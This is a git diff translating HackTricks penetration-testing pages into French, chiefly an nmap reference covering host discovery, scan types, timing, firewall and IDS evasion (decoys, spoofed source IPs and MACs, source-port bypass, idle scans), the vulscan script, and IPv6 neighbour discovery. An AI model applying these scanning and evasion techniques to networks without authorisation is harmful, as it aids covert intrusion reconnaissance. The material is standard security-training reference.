- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- +Le protocole de découverte de services simple est utilisé pour découvrir des services dans un réseau principalement pour utiliser le protocole UPnP. +SSDP est un protocole basé sur du texte basé sur [HTTPU](https://en diff --git a/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md index a69b42f3f..4e5bd458b 100644 --- a/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md +++ b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md @@ -1,265 +1,117 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - ```text nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 ``` +**-iL** lista\_IPs - **-iL** lista\_IPs +**-iR** numero --> Nombre d'IPs aléatoires, les IP possibles peuvent être exclues avec **--exclude <Ips>** ou **--excludefile <fichier>** -**-iR** numero --> Número de Ips aleatorias, se pueden excluir posibles Ips con **--exclude <Ips>** o **--excludefile <fichero>** +**Découverte d'équipements:** -**Descubrimiento de equipos:** +Nous pouvons utiliser des masques/24 -Podemos usar máscaras/24 +**-sL**: Non invasif, liste les cibles en effectuant des requêtes DNS pour résoudre les noms. Utile pour savoir si, par exemple, www.prueba.es/24 toutes les IPs sont nos cibles. -**-sL**: No es invasivo, lista los objetivos realizando peticiones de DNS para resolver nombres. Sirve para saber si por ejemplo www.prueba.es/24 todas las Ips son objetivos nuestros. +Par défaut, Nmap lance une phase de découverte qui comprend: -PA80 -PS443 -PE -PP -Por defecto Nmap lanza una fase de descubrimiento que consta de: -PA80 -PS443 -PE -PP +**-Pn** No ping --> utile **si on sait que tous sont actifs** \(sinon, on pourrait perd +**-f** Pour fragmenter les paquets, par défaut, ils sont fragmentés en 8 octets après l'en-tête. Pour spécifier cette taille, nous utilisons ..mtu (sans utiliser -f), l'offset doit être un multiple de 8. Les scanners de version et les scripts ne prennent pas en charge la fragmentation. -**-Pn** No ping --> útil **si se sabe que todos están activos** \(sino lo estuviera alguno se podría perder mucho tiempo, pero también saca falsos negativos esta opción diciendo que no esta activo\), impide la fase de descubirmiento +**-D decoy1,decoy2,ME** Nmap envoie des scanners mais avec d'autres adresses IP d'origine, de cette façon, ils vous cachent. Si vous mettez ME dans la liste, nmap vous y placera, il est préférable de mettre 5 ou 6 avant vous pour vous masquer complètement. Des adresses IP aléatoires peuvent être générées avec RND:<numero> pour générer <numero> adresses IP aléatoires. Ils ne fonctionnent pas avec les détecteurs de versions sans connexion TCP. Si vous êtes dans un réseau, vous devez utiliser des adresses IP qui sont actives, sinon il sera très facile de découvrir que vous êtes la seule active. -**-sn** No port scan: Tras completar fase de reconocimiento **no analiza puertos.** Es relativamente sigilosa, y permite un pequeño reconocimiento de la red. Con privilegios envía un ACK \(-PA\) al 80, un SYN\(-PS\) al 443 y un echo request y un Timestamp request, sin privilegios siempre completa conexiones. Si el objetivo es de la red, solo usa ARP\(-PR\). Si se usa con otra opción solo se lanzan los paquetes de la otra opción. +Pour utiliser des adresses IP aléatoires: nmap-D RND: 10 Ip\_objetivo -**-PR** Ping ARP: Se usa por defecto cuando se analizan equipos de nuestra red, es más rápido que usar pings. Si no se quiere usar paquetes ARP hay que usar --send-ip. +**-S IP** Lorsque Nmap ne détecte pas votre adresse IP, vous devez la lui donner avec cela. Cela sert également à faire croire qu'il y a une autre cible qui les scanne. -**-PS<puertos>** SYN: envía paquetes de SYN a los que si responde SYN/ACK es que esta abierto\(al que se reponde con RST para no acabar la conexión\), si responde RST esta cerrado y si no responde es inalcanzable. En caso de no tener privilegios automáticamente se usa una conexión total. Si no se dan puertos, lo lanza al 80. +**-e <interface>** Pour choisir l'interface -**-PA<puertos>** ACK: Como la anterior pero con ACK, combinando ambas se obtienen mejores resultados. +De nombreux administrateurs laissent des ports d'entrée ouverts pour que tout fonctionne correctement et qu'il leur soit plus facile de trouver une autre solution. Ceux-ci peuvent être les ports DNS ou FTP... pour rechercher cette vulnérabilité, nmap intègre: **--source-port** _**<portnumber>**_**;-g** _**<portnumber>**_ _Sont équivalents_ -**-PU<puertos>** UDP: El objetivo es el contrario, se envían a puertos que se espera que estén cerrados. Algunos firewall solo revisan conexiones TCP. Si está cerrado se responde con port unreachable, si se responde con otro icmp o no se responde se deja como destino inalcanzable. +**--data** _**<hex string>**_ Pour envoyer du texte hexadécimal: --data 0xdeadbeef et --data \xCA\xFE\x09 -**-PE, -PP, -PM** PINGS ICMP:echo replay, timestamp y addresmask. Se lanzan para descubrir si el objetivo esta activo +**--data-string** _**<string>**_ Pour envoyer un texte normal: --data-string "Scan conducted by Security Ops, extension 7192" -**-PY<puertos>** SCTP: Envía sondas SCTP INIT al 80 por defecto, se puede responder INIT-ACK\(abierto\) o ABORT\(cerrado\) o nada o ICMP inalcanzable\(inactivo\) +**--data-length** _**<number>**_ Nmap envoie uniquement des en-têtes, avec cela, nous parvenons à ajouter un certain nombre d'octets de plus (qui seront générés de manière aléatoire) --**PO<protocolos>:** Se indica un protocolo en las cabeceras, por defecto 1\(ICMP\), 2\(IGMP\) y 4\(Encap IP\). Para los protocolos ICMP, IGMP, TCP \(6\) Y UDP \(17\) se envían las cabeceras del protocolo, para el resto solo se envía la cabecera IP. EL objetivo de esto es que por la malformación de las cabeceras, se responda Protocolo inalcanzable o respuestas del mismo protocolo para saber si está levantado. +Pour configurer complètement le paquet IP, utilisez **--ip-options** -**-n** No DNS - -**-R** DNS siempre - -**Técnicas de escaneo de puertos:** - -**-sS** --> No completa la conexión por lo que no deja rastro, muy buena si se puede usar. \(privilegios\) Es la que se usa por defecto - -**-sT** --> Completa la conexión, por lo que sí que deja rastro, pero seguro que se puede usar. Por defecto sin privilegios. - -**-sU** --> Más lenta, para UDP. Ppalmente: DNS\(53\), SNMP\(161,162\), DHCP\(67 y 68\), \(-sU53,161,162,67,68\): abierto\(respuesta\), cerrado\(puerto inalcanzable\), filtrado \(otro ICMP\), abierto/filtrado \(nada\). En caso de tener abierto/filtrado, -sV envía numerosas peticiones para detectar alguna de las versiones que nmap soporta pudiendo detectar el auténtico estado. Aumenta mucho el tiempo. - -**-sY** --> Protocolo SCTP no llega a establecer la conexión, por lo que no hay registros, funciona como -PY - -**-sN,-sX,-sF** --> Null, Fin, Xmas, sirven pueden penetrar algunos firewall y sacar información. Se basan en que los equipos que cumplan el estándar deberán responder con RST todas las peticiones que no tengan levantadas los lags de SYN, RST o ACK: abierto/filtrado\(nada\), cerrados\(RST\), filtrado \(ICMP inalcanzable\). No fiable en WIndows, CIsco, BSDI y OS/400. En unix sí. - -**-sM Maimon scan:** Envía flags FIN y ACK, usado para BSD, actualmente devolverá todo como cerrado. - -**-sA, sW** --> ACK y Window, sirve para detectar firewalls, para saber si los puertos están filtrados o no. El -sW sí distingue entre abiertos/cerrados ya que los abiertos responden con un valor de window distinto: abiertos\(RST con ventana distinto de 0\), cerrado \(RST ventana = 0\), filtrado \(ICMP inalcanzable o nada\). No todos los equipos funcionan así, así que si sale todo cerrado, es que no funciona, si salen unos pocos abiertos es que funciona bien, y si salen muchos abiertos y pocos cerrados, es que funciona al revés. - -**-sI Idle scan** --> Para los casos en los que hay un firewall activo pero que sabemos que este no filtra a una determinada Ip \(o cuando queremos simplemente anonimato\) podemos usar el escáner zombie \(sirve para todos los puertos\), para buscar posibles zombies podemos usar el scrpit ipidseq o el exploit auxiliary/scanner/ip/ipidseq. Este escaner se basa en el número IPID de los paquetes IP - -**--badsum -->** Envían la suma mal, los equipos descartarían los paquetes, pero los firewall podrían responder algo, sirve para detectar firewalls - -**-sZ** --> Escaner “raro” de SCTP, al enviar sondas con fragmentos cookie echo deben ser eliminadas si esta abierto o respondidas con ABORT si cerrado. Puede traspasar firewalls que no traspasa el init, lo malo es que no distingue entre filtrado y abierto. - -**-sO** --> Protocol Ip scan: Envía cabeceras mal y vacías en las que a veces no se distingue ni el protocolo. Si llega ICMP unreachable protocol esta cerrado, si llega unreachable port esta abierto, si llega otro error, filtrado, si no llega nada, abierto\|filtrado - -**-b<servidor>** FTPhost--> Sirve para escanear un host desde otro, eso lo hace conectándose el ftp de otra máquina y pidiendole que envía archivos a los puertos que se quiera escanear de otra máquina, según las respuestas sabremos si están abiertos o no. \[<usuario>:<contraseña>@\]<servidor>\[:<puerto>\] Casi todos los servidores ftps ya no dejan hacer esto y por lo tanto ya tiene poca utilidad práctica, - -**Centrar análisis:** - -**-p:** Sirve para dar los puertos a escanear. Para seleccionar los 65335: **-p-** o **-p all**. Nmap tiene una clasificaación interna según su popularidad. Por defecto usa los 1000 ppales. Con **-F** \(fast scan\) analiza los 100 ppales. Con **--top-ports <numero>** Analiza ese numero de ppales \(de 1 hasta los 65335\). Comprueba los puertos en orden aleatorio, para que eso no pase **-r**. También podemos seleccionar puertos: 20-30,80,443,1024- Esto ultimo significa que mire en adelante del 1024. También podemos agrupar los puertos por protocolos: U:53,T:21-25,80,139,S:9. También podemos escoger un rango dentro de los puertos populares de nmap: -p \[-1024\] analiza hasta el 1024 de los incluidos en nmap-services. **--port-ratio <ratio>** Analiza los puertos más comúnes que un ratio que debe estar entre 0 y 1 - -**-sV** Escaneado de versión, se puede regular la intensidad de 0 a 9, por defecto 7. - -**--version-intensity <numero>** Regulamos la intensidad, de forma que cuanto más bajo solo lanzará las sondas más probables, pero no todas. Con esto podemos acortar considerablemente el tiempo de escaneo UDP - -**-O** Deteccion de os - -**--osscan-limit** Para escanear bien un host se necesita que al menos haya 1 puerto abierto y otro cerrado, si no se da esta condición y hemos puesto esto, no intenta hacer predicción de os \(ahorra tiempo\) - -**--osscan-guess** Cuando la detección de os no es perfecta esto hace que se esfuerce más - -**Scripts** - ---script _<filename>_\|_<category>_\|_<directory>_\|_<expression>_\[,...\] - -Para usar los de por efecto vale con -sC o --script=default - -Los tipos que hay son de: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln - -* **Auth:** ejecuta todos sus _scripts_ disponibles para autenticación -* **Default:** ejecuta los _scripts_ básicos por defecto de la herramienta -* **Discovery:** recupera información del _target_ o víctima -* **External:** _script_ para utilizar recursos externos -* **Intrusive:** utiliza _scripts_ que son considerados intrusivos para la víctima o _target_ -* **Malware:** revisa si hay conexiones abiertas por códigos maliciosos o _backdoors_ \(puertas traseras\) -* **Safe:** ejecuta _scripts_ que no son intrusivos -* **Vuln:** descubre las vulnerabilidades más conocidas -* **All:** ejecuta absolutamente todos los _scripts_ con extensión NSE disponibles - -Para buscar scripts: - - **nmap --script-help="http-\*" -> Los que empiecen por http-** - - **nmap --script-help="not intrusive" -> Todos menos esos** - - **nmap --script-help="default or safe" -> Los que estan en uno o en otro o en ambos** - - **nmap --script-help="default and safe" --> Los que estan en ambos** - - **nmap --script-help="\(default or safe or intrusive\) and not http-\*"** - ---script-args _<n1>_=_<v1>_,_<n2>_={_<n3>_=_<v3>_},_<n4>_={_<v4>_,_<v5>_} - ---script-args-file _<filename>_ - ---script-help _<filename>_\|_<category>_\|_<directory>_\|_<expression>_\|all\[,...\] - ---script-trace ---> Da info de como va elscript - ---script-updatedb - -**Para usar un script solo hay que poner: namp --script Nombre\_del\_script objetivo** --> Al poner el script se ejecutará tanto el script como el escaner, asi que tambien se pueden poner opciones del escaner, podemos añadir **“safe=1”** para que se ejecuten solo los que sean seguros. - -**Control tiempo** - -**Nmap puede modificar el tiempo en segundos, minutos, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing. - -Nmap divide el numero total de host a escanear en grupos y analiza esos grupos en bloques de forma que hasta que no han sido analizados todos, no pasa al siguiente bloque \(y el usuario tampoco recibe ninguna actualización hasta que se haya analizado el bloque\) de esta forma, es más óptimo para nmap usar grupos grandes. Por defecto en clase C usa 256. - -Se puede cambiar con**--min-hostgroup** _**<numhosts>**_**;** **--max-hostgroup** _**<numhosts>**_ \(Adjust parallel scan group sizes\) - -Se puede controlar el numero de escaners en paralelo pero es mejor que no \(nmpa ya incorpora control automatico en base al estado de la red\): **--min-parallelism** _**<numprobes>**_**;** **--max-parallelism** _**<numprobes>**_ - -Podemos modificar el rtt timeout, pero no suele ser necesario: **--min-rtt-timeout** _**<time>**_**,** **--max-rtt-timeout** _**<time>**_**,** **--initial-rtt-timeout** _**<time>**_ - -Podemos modificar el numero de intentos:**--max-retries** _**<numtries>**_ - -Podemos modificar el tiempo de escaneado de un host: **--host-timeout** _**<time>**_ - -Podemos modificar el tiempo entre cada prueba para que vaya despacio: **--scan-delay** _**<time>**_**;** **--max-scan-delay** _**<time>**_ - -Podemos modificar el numero de paquetes por segundo: **--min-rate** _**<number>**_**;** **--max-rate** _**<number>**_ - -Muchos puertos tardan mucho en responder al estar filtrados o cerrados, si solo nos interesan los abiertos, podemos ir más rápido con: **--defeat-rst-ratelimit** - -Para definir lo agresivo que queremos que sea nmap: -T paranoid\|sneaky\|polite\|normal\|aggressive\|insane - --T \(0-1\) - --T0 --> Solo se escanea 1 puerto a la vez y se espera 5min hasta el siguiente - --T1 y T2 --> Muy parecidos pero solo esperan 15 y 0,4seg respectivamente enttre cada prueba - --T3 --> Funcionamiento por defecto, incluye en paralelo - --T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms - --T5 --> --max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --max-scan-delay 5ms - -**Firewall/IDS** - -No dejan pasar a puertos y analizan paquetes. - -**-f** Para fragmentar paquetes, por defecto los fragmenta en 8bytes después de la cabecera, para especificar ese tamaño usamos ..mtu \(con esto, no usar -f\), el offset debe ser multiplo de 8. **Escaners de version y scripts no soportan la fragmentacion** - -**-D decoy1,decoy2,ME** Nmap envia escaneres pero con otras direcciones IPs como origen, de esta forma te esconden a ti. Si pones el ME en la lista, nmap te situara ahi, mejor poner 5 o 6 antes de ti para que te enmascaren completamente. Se pueden generar iPs aleatorias con RND:<numero> Para generar <numero> de Ips aleatorias. No funcionan con detector de versiones sin conexion de TCP. Si estas dentro de una red, te interesa usar Ips que esten activas, pues sino será muy facil averiguar que tu eres la unica activa. - -Para usar Ips aleatorias: nmap-D RND: 10 Ip\_objetivo - -**-S IP** Para cuando Nmap no pilla tu dirección Ip se la tienes que dar con eso. También sirve para hacer pensar que hay otro objetivo escaneandoles. - -**-e <interface>** Para elegir la interfaz - -Muchos administradores dejan puertos de entrada abiertos para que todo funcione correctamente y les es más fácil que buscar otra solución. Estos pueden ser los puertos DNS o los de FTP... para busca esta vulnerabilidad nmap incorpora: **--source-port** _**<portnumber>**_**;-g** _**<portnumber>**_ _Son equivalentes_ - -**--data** _**<hex string>**_ Para enviar texto hexadecimal: --data 0xdeadbeef and --data \xCA\xFE\x09 - -**--data-string** _**<string>**_ Para enviar un texto normal: --data-string "Scan conducted by Security Ops, extension 7192" - -**--data-length** _**<number>**_ Nmap envía solo cabeceras, con esto logramos que añada a estar un numero de bytes mas \(que se generaran aleatoriamente\) - -Para configurar el paquete IP completamente usar **--ip-options** - -If you wish to see the options in packets sent and received, specify --packet-trace. For more information and examples of using IP options with Nmap, see [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52). +Si vous souhaitez voir les options dans les paquets envoyés et reçus, spécifiez --packet-trace. Pour plus d'informations et d'exemples d'utilisation des options IP avec Nmap, voir [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52). **--ttl** _**<value>**_ -**--randomize-hosts** Para que el ataque sea menos obvio +**--randomize-hosts** Pour que l'attaque soit moins évidente -**--spoof-mac** _**<MAC address, prefix, or vendor name>**_ Para cambiar la mac ejemplos: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco +**--spoof-mac** _**<MAC address, prefix, or vendor name>**_ Pour changer la MAC, exemples: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, et Cisco -**--proxies** _**<Comma-separated list of proxy URLs>**_ Para usar proxies, a veces un proxy no mantiene tantas conexiones abiertas como nmap quiere por lo que habria que modificar el paralelismo: --max-parallelism +**--proxies** _**<Comma-separated list of proxy URLs>**_ Pour utiliser des proxys, parfois un proxy ne maintient pas autant de connexions ouvertes que nmap le souhaite, il faudrait donc modifier la parallélisme: --max-parallelism -**-sP** Para descubrir host en la red en la que estamos por ARP +**-sP** Pour découvrir les hôtes sur le réseau sur lequel nous sommes par ARP -Muchos administradores crean una regla en el firewall que permite pasar todos los paquetes que provienen de un puerto en particular \(como el 20,53 y 67\), podemos decire a nmap que mande nuestros paquetes desde esos puertos: **nmap --source-port 53 Ip** +De nombreux administrateurs créent une règle dans le pare-feu qui permet de passer tous les paquets provenant d'un port particulier (comme le 20,53 et 67), nous pouvons dire à nmap d'envoyer nos paquets depuis ces ports: **nmap --source-port 53 Ip** -**Salidas** +**Sorties** -**-oN file** Salida normal +**-oN file** Sortie normale -**-oX file** Salida XML +**-oX file** Sortie XML -**-oS file** Salida de script kidies +**-oS file** Sortie pour les script kiddies -**-oG file** Salida grepable +**-oG file** Sortie grepable -**-oA file** Todos menos -oS +**-oA file** Tous sauf -oS -**-v level** verbosity +**-v level** Verbosité -**-d level** debugin +**-d level** Débogage -**--reason** Porqué del host y estado +**--reason** Pourquoi de l'hôte et de l'état -**--stats-every time** Cada ese tiempo nos dice como va +**--stats-every time** Toutes les fois qu'il nous dit comment ça va -**--packet-trace** Para ver que paquetes salen se pueden especificar filtros como: --version-trace o --script-trace +**--packet-trace** Pour voir quels paquets sortent, des filtres peuvent être spécifiés tels que: --version-trace ou --script-trace -**--open** muestra los abiertos, abiertos\|filtrados y los no filtrados +**--open** montre les ouverts, ouverts\|filtrés et les non filtrés -**--resume file** Saca un resumen +**--resume file** Fait un résumé -**Miscelanea** +**Divers** -**-6** Permite ipv6 +**-6** Permet ipv6 -**-A** es lo mismo que -O -sV -sC --traceroute +**-A** est la même chose que -O -sV -sC --traceroute -**Run time** +**Temps d'exécution** -Mientras corre nmap podemos cambiar opciones: +Pendant que nmap s'exécute, nous pouvons changer les options: -v / V Increase / decrease the verbosity level +v / V Augmenter / diminuer le niveau de verbosité -d / D Increase / decrease the debugging Level +d / D Augmenter / diminuer le niveau de débogage -p / P Turn on / off packet tracing +p / P Activer / désactiver la trace des paquets -? Print a runtime interaction help screen +? Imprimer un écran d'aide à l'interaction en temps d'exécution **Vulscan** -Script de nmap que mira las versiones de los servicios obtenidos en una base de datos offline \(que descarga de otras muy importantes\) y devuelve las posibles vulnerabilidades +Script de nmap qui regarde les versions des services obtenus dans une base de données hors ligne (téléchargée à partir d'autres bases de données très importantes) et renvoie les vulnérabilités possibles. -Las BD que usa son: +Les bases de données qu'il utilise sont: 1. Scipvuldb.csv \| [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb) 2. Cve.csv \| [http://cve.mitre.org](http://cve.mitre.org/) @@ -270,17 +122,17 @@ Las BD que usa son: 7. Exploitdb.csv \| [http://www.exploit-db.com](http://www.exploit-db.com/) 8. Openvas.csv \| [http://www.openvas.org](http://www.openvas.org/) -Para descargarlo e instalarlo en la carpeta de Nmap: +Pour le télécharger et l'installer dans le dossier Nmap: wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/ -También habría que descargar los paquetes de las BD y añadirlos a /usr/share/nmap/scripts/vulscan/ +Il faudrait également télécharger les packages des bases de données et les ajouter à /usr/share/nmap/scripts/vulscan/ -Uso: +Utilisation: -Para usar todos: sudo nmap -sV --script=vulscan HOST\_A\_ESCANEAR +Pour tout utiliser: sudo nmap -sV --script=vulscan HOST\_A\_ESCANEAR -Para usar una BD específica: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR +Pour utiliser une base de données spécifique: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR @@ -288,16 +140,6 @@ Para usar una BD específica: sudo nmap -sV --script=vulscan --script-args vulsc ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - - - +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Découvrez [**The PEASS diff --git a/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md b/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md index 9edd7dc1d..9a0e08116 100644 --- a/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md +++ b/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md @@ -1,35 +1,32 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# IPv6 Basic theory +# Théorie de base IPv6 -## Networks +## Réseaux -In an IPv6 address, the **first 48 bits are the network prefix**. The **next 16 bits are the subnet ID** and are used for defining subnets. The last **64 bits are the interface identifier** (which is also known as the Interface ID or the Device ID, is for devices). If necessary, the bits that are normally reserved for the Device ID can be used for additional subnet masking. +Dans une adresse IPv6, les **48 premiers bits sont le préfixe de réseau**. Les **16 bits suivants sont l'ID de sous-réseau** et sont utilisés pour définir les sous-réseaux. Les **64 derniers bits sont l'identifiant d'interface** (également connu sous le nom d'ID d'interface ou d'ID de périphérique, pour les périphériques). Si nécessaire, les bits normalement réservés à l'ID de périphérique peuvent être utilisés pour un masquage de sous-réseau supplémentaire. -There is not ARP in IPv6. Instead, there is **ICMPv6 NS (Neighbor Solicitation) and NA (Neighbor Advertisement)**. The **NS** is used to resolve and address, so it sends **multicast** packets. The **NA** is **unicast** as is used to answer the NS. A NA packet could also be sent without needing a NS packet. +Il n'y a pas d'ARP en IPv6. À la place, il y a **ICMPv6 NS (Neighbor Solicitation) et NA (Neighbor Advertisement)**. Le **NS** est utilisé pour résoudre une adresse, il envoie donc des paquets **multicast**. Le **NA** est **unicast** et est utilisé pour répondre au NS. Un paquet NA peut également être envoyé sans avoir besoin d'un paquet NS. -**0:0:0:0:0:0:0:1** = 1 (`::1` for short) – This is 127.0.0.1 equivalent in IPv4. - -**Link-local Addresses:** These are private address that is not meant to be routed on the internet. They can be used locally by private or temporary LANs for sharing and distribution of file among devices on the LAN. Other devices in your local LAN using this kind of addresses can be found sending a ping to the multicast address ff02::01\ -**FE80::/10** – Link-local unicast address range. +**0:0:0:0:0:0:0:1** = 1 (`::1` pour faire court) - C'est l'équivalent de 127.0.0.1 en IPv4. +**Adresses locales de lien:** Il s'agit d'une adresse privée qui n'est pas destinée à être routée sur Internet. Elle peut être utilisée localement par des LAN privés ou temporaires pour le partage et la distribution de fichiers entre les périphériques du LAN. D'autres périphériques de votre LAN local utilisant ce type d'adresses peuvent être trouvés en envoyant un ping à l'adresse multicast ff02::01\ +**FE80::/10** - Plage d'adresses unicast locales de lien. ```bash ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1 ip neigh | grep ^fe80 @@ -37,40 +34,38 @@ ip neigh | grep ^fe80 #Or you could also use alive6 eth0 ``` +Si vous **connaissez l'adresse MAC d'un hôte dans le même réseau** que vous (vous pouvez simplement envoyer une requête ping à son adresse IPv4 et afficher la table ARP pour 